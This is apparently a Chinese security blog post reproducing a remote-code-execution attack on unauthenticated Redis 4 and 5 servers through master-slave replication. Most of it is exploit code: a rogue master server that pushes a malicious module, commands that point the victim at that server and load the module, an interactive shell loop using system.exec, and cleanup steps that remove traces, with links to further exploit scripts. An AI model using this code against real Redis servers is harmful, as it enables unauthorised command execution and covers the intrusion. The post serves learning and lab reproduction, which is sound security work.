首页 » NetworkSec » Penetration » 正文

利用redis主从进行RCE

0x00 概述

redis常见利用未授权访问漏洞,参考redis未授权访问漏洞利用

现在还可以利用redis的主从特性进行RCE,详情参考ppt

影响redis4和5。

 

0x01 重现

环境:

受害机:

docker run –name redis5-alpine -d -v $PWD:/data –restart=always -p 6379:6379 hareemca123/redis5:alpine

或者

docker run –name redis4-6379 -p 6379:6379 -d redis:4.0

攻击机:

利用脚本

https://github.com/jas502n/Redis-RCE

 

0x02 原理

主从握手机制见下图

//此图源自网络

攻击大概流程:

  1. 创建一个恶意的redis服务器master,用来发送执行命令的module(exp_lin.so)

关键代码:

    def handle(self, data):
        resp = ""
        phase = 0
        if data.find("PING") > -1:
            resp = "+PONG" + CLRF
            phase = 1
        elif data.find("REPLCONF") > -1:
            resp = "+OK" + CLRF
            phase = 2
        elif data.find("PSYNC") > -1 or data.find("SYNC") > -1:
            resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            phase = 3
        return resp, phase

2. 在受害redis上将恶意redis设置为master:SLAVEOF vps port。
关键代码:

    print("[*] Sending SLAVEOF command to server")
    remote.do("SLAVEOF {} {}".format(lhost, lport))
    back = remote._sock.getsockname()
    print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(back[0], back[1]))

3. 在受害redis设置dbfilename和dir。
关键代码:

   print("[*] Setting filename")
    remote.do("CONFIG SET dir /tmp/")
    remote.do("CONFIG SET dbfilename {}".format(expfile))

4. 通过同步将module写入受害redis磁盘上:+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>

关键代码:

class RogueServer:
    def __init__(self, lhost, lport):
        self._host = lhost
        self._port = lport
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.bind((self._host, self._port))
        self._sock.listen(10)
 
    def handle(self, data):
        resp = ""
        phase = 0
        if data.find("PING") > -1:
            resp = "+PONG" + CLRF
            phase = 1
        elif data.find("REPLCONF") > -1:
            resp = "+OK" + CLRF
            phase = 2
        elif data.find("PSYNC") > -1 or data.find("SYNC") > -1:
            resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            phase = 3
        return resp, phase
 
    def close(self):
        self._sock.close()
 
    def exp(self):
        try:
            cli, addr = self._sock.accept()
            back = self._sock.getsockname()
            print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(back[0], back[1]))
            self._sock.settimeout(10)
            while True:
                data = din(cli, 1024)
                if len(data) == 0:
                    break
                resp, phase = self.handle(data)
                dout(cli, resp)
                if phase == 3:
                    break
        except Exception as e:
            print("\033[1;31;m[-]\033[0m Time out, Please check your local address.")
            exit()

 

def dout(sock, msg):
    if type(msg) != bytes:
        msg = msg.encode()
    sock.send(msg)
    if verbose:
        if sys.version_info < (3, 0):
            msg = repr(msg)
        if len(msg) < 300:
            print("\033[1;32;40m[<-]\033[0m {}".format(msg))
        else:
            print("\033[1;32;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))

5. 在受害redis上加载模块: MODULE LOAD /tmp/exp_lin.so
关键代码:

remote.do("MODULE LOAD /tmp/{}".format(expfile))
    remote.do("SLAVEOF NO ONE")
    print("[*] Closing rogue server...")
    rogue.close()

6. 利用system.exec进行命令执行
关键代码:

def interact(remote):
    print("\033[92m[+]\033[0m Received backconnect, use exit to exit...")
    try:
        while True:
            cmd = input("$ ")
            cmd = cmd.strip()
            if cmd == "exit":
                return
            r = remote.shell_cmd(cmd)
            for l in decode_shell_result(r).split("\n"):
                if l:
                    print(l)
    except KeyboardInterrupt:
        return
    def shell_cmd(self, cmd):
        self.send(mk_cmd_arr(['system.exec', "{}".format(cmd)]))
        buf = self.recv()
        return buf
   

7. 卸载module。
关键代码:

    # clean up
    print("[*] Clean up..")
    remote.do("CONFIG SET dbfilename dump.rdb")
    remote.shell_cmd("rm /tmp/{}".format(expfile))
    remote.do("MODULE UNLOAD system")
    remote.close()

 

0x03 其他

还有两个脚本,原理都一样,对redis4利用成功。

https://github.com/n0b0dyCN/redis-rogue-server

https://github.com/Ridter/redis-rce

 

0x04 注意点

1.remote.do(“CONFIG SET dir /tmp/”)

remote.do(“CONFIG SET dbfilename {}”.format(expfile))

#remote.do(“SAVE”)

可能有些情况需要save一下。

2. 模块的兼容性问题,类似mysql udf,可能需要特定版本。
可自行编译so文件: https://github.com/RicterZ/RedisModules-ExecuteCommand

 

0x05 结语

还不错的技巧。

 

0x06 参考资料

https://www.cnblogs.com/iamstudy/articles/redis_load_module_rce.html

https://xz.aliyun.com/t/5616

 

Comment